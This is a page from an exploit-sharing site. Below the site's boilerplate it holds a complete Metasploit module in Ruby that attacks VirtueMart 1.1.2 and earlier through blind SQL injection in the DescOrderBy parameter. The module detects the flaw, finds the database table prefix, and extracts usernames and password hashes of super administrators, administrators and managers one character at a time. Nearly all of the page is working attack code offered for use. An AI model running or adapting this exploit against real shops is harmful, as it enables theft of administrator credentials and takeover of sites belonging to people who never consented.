0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
VirtueMart <= 1.1.2 Remote SQL Injection Exploit (meta)
======================================================= VirtueMart <= 1.1.2 Remote SQL Injection Exploit (meta) ======================================================= require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit', 'Description' => %q{ This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability. }, 'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>', 'License' => MSF_LICENSE, 'Version' => '1.0', 'References' => [ ['BID', '33480'], ['URL', 'http://www.waraxe.us/advisory-71.html'], ['URL', 'http://secunia.com/advisories/33671/'] ], 'DisclosureDate' => 'Jan 24 2009')) register_options( [ OptString.new('URI', [false, 'Path to VirtueMart', '']), OptInt.new('TARGETID', [false, 'Target ID (optional)']), OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']), OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]), OptBool.new('ALLA', [ false, 'Fetch all Admins', false]), OptBool.new('ALLM', [ false, 'Fetch all Managers', false]), ], self.class) end def run @marker = 'name="addtocart"' @target_uri = '/' + datastore['URI'] + '/' @target_uri = @target_uri.gsub(/\/{2,}/, '/') @target_id = datastore['TARGETID'] @target_prefix = datastore['PREFIX'] @requests = @fetched = 0 time_start = Time.now.to_i # debug_level=2 - more debug messages, 1 - less @debug_level = 1 if(!pre_test) print_error('Exploit failed in pre-test phase') return end if(datastore['ALLSA']) if(!get_users(1)) print_error('Exploit failed fetching Super Admins') return end end if(datastore['ALLA']) if(!get_users(2)) print_error('Exploit failed fetching Admins') return end end if(datastore['ALLM']) if(!get_users(3)) print_error('Exploit failed fetching Managers') return end end if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM'])) print_status('Target ID or group(s) not specified, fetching Super Admins as default') if(!get_users(1)) print_error('Exploit failed fetching Super Admins') return end end if(@target_id > 1) if(!get_user()) print_error("Exploit failed fetching user with ID=#{@target_id}") return end end time_spent = Time.now.to_i - time_start print_status("Exploitation results:") print_status("Got data for #{@fetched} users") print_status("Total time spent: #{time_spent} seconds") print_status("HTTP requests needed: #{@requests}") end ############################################################ def make_post(post_data) timeout = 30 begin res = send_request_cgi({ 'uri' => @target_uri, 'method' => 'POST', 'data' => post_data, }, timeout) if(res and res.body) @requests += 1 return res.body else print_error('No response from server') return nil end rescue ::Exception print_error("Error: #{$!.class} #{$!}") return nil end end ############################################################ def test_condition(condition) max_tries = 10 post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))" 1.upto(max_tries) do |i| buf = make_post(post_data) if(buf) return buf.include?(@marker) else print_status("Sleeping #{i} seconds") sleep(i) print_status("Awake, retry ##{i}") end end return nil end ############################################################ def pre_test post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1' buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('Pre-test 1 failed - VirtueMart not detected') return false else print_status('Pre-test 1 passed - VirtueMart detected') end post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' buf = make_post(post_data) or return false if(buf.include?(@marker)) print_error('Pre-test 2 failed - target is patched?') return false else print_status('Pre-test 2 passed - injection detected') end post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)' buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('Pre-test 3 failed - subselects not supported?') return false else print_status('Pre-test 3 passed - subselects supported') end if(@target_prefix == '') print_status('Prefix not provided, trying to fetch') @target_prefix = get_prefix if(!@target_prefix) print_error('Prefix fetch failed') return false else print_status("Prefix fetched: #{@target_prefix}") return true end end post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," + "(SELECT 1 FROM #{@target_prefix}users LIMIT 1)" buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('Pre-test 4 failed - wrong prefix?') print_status('Trying to fetch valid prefix') @target_prefix = get_prefix if(!@target_prefix) print_error('Prefix fetch failed') return false else print_status("Prefix fetched: #{@target_prefix}") return true end else print_status('Pre-test 4 passed - prefix OK') end return true end ############################################################ def get_char(pattern, min, max) num = get_num(pattern, min, max) or return nil return num.chr end ############################################################ def get_hash(group = nil, u_pos = nil) hash = '' if(group and u_pos) pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})" end p_len = get_num(pattern, 32, 100) or return nil print_status("Got hash length: #{p_len.to_s}") 1.upto(p_len) do |pos| print_status("Finding hash char pos #{pos}") if @debug_level > 0 if(group and u_pos) pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})" end c = get_char(pattern, 32, 128) or return nil hash << c print_status("Known: #{hash}") if @debug_level > 0 end return hash end ############################################################ def get_prefix prefix = '' post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' + '(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)' buf = make_post(post_data) or return false if(!buf.include?(@marker)) print_error('INFORMATION_SCHEMA not found - mysql < 5.0?') return false else print_status('INFORMATION_SCHEMA detected, proceed') end pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' + ' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)' p_len = get_num(pattern, 5, 100) or return nil p_len -= 10 if(p_len < 0) print_error("Invalid prefix length: #{p_len.to_s}") return false elsif(p_len == 0) print_status('Prefix seems to be empty') @target_prefix = '' return true else print_status("Got prefix length: #{p_len.to_s}") end 1.upto(p_len) do |pos| print_status("Finding prefix char pos #{pos}") if @debug_level > 0 pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" + " WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)" c = get_char(pattern, 32, 128) or return nil prefix << c print_status("Known: #{prefix}") if @debug_level > 0 end return prefix end ############################################################ def get_num(pattern, min = 1, max = 100) curr = 0; while(1) area = max - min if(area < 2 ) post_data = "#{pattern}=#{max}" eq = test_condition(post_data) if(eq == nil) return nil elsif(eq) len = max else len = min end break end half = area / 2 curr = min + half post_data = "#{pattern}>#{curr}" bigger = test_condition(post_data) if(bigger == nil) return nil elsif(bigger) min = curr else max = curr end print_status("Current: #{min}-#{max}") if @debug_level > 1 end return len end ############################################################ def get_username(group = nil, u_pos = nil) username = '' if(group and u_pos) pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})" end u_len = get_num(pattern, 1, 150) or return nil print_status("Got username length: #{u_len.to_s}") 1.upto(u_len) do |pos| print_status("Finding username char pos #{pos}") if @debug_level > 0 if(group and u_pos) pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)" else pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})" end c = get_char(pattern, 32, 128) or return nil username << c print_status("Known: #{username}") if @debug_level > 0 end return username end ############################################################ def get_users(group) if(group == 1) usertype = '0x53757065722041646d696e6973747261746f72' print_status('Starting to fetch all Super Admins') elsif(group == 2) usertype = '0x41646d696e6973747261746f72' print_status('Starting to fetch all Admins') else usertype = '0x4d616e61676572' print_status('Starting to fetch all Managers') end pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})" u_cnt = get_num(pattern, 0, 100) or return nil print_status("Targets to fetch: #{u_cnt.to_s}") 0.upto(u_cnt - 1) do |pos| print_status("Fetching user pos #{pos}") username = get_username(usertype, pos) or return nil hash = get_hash(usertype, pos) or return nil @fetched += 1 print_status( "Got user data:" + "\n==============================\n" + "Username: #{username}\n" + "Hash: #{hash}" + "\n==============================" ) end return true end ############################################################ def get_user print_status("Testing user ID=#{@target_id}") pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})" u_cnt = get_num(pattern, 0, 100) or return nil if(u_cnt != 1) print_error("No user with ID=#{@target_id}") return true end print_status("Working with user ID=#{@target_id}") username = get_username or return nil hash = get_hash or return nil @fetched += 1 print_status( "Got user data:" + "\n==============================\n" + "Username: #{username}\n" + "Hash: #{hash}" + "\n==============================" ) return true end ############################################################ end # 0day.today [2024-11-16] #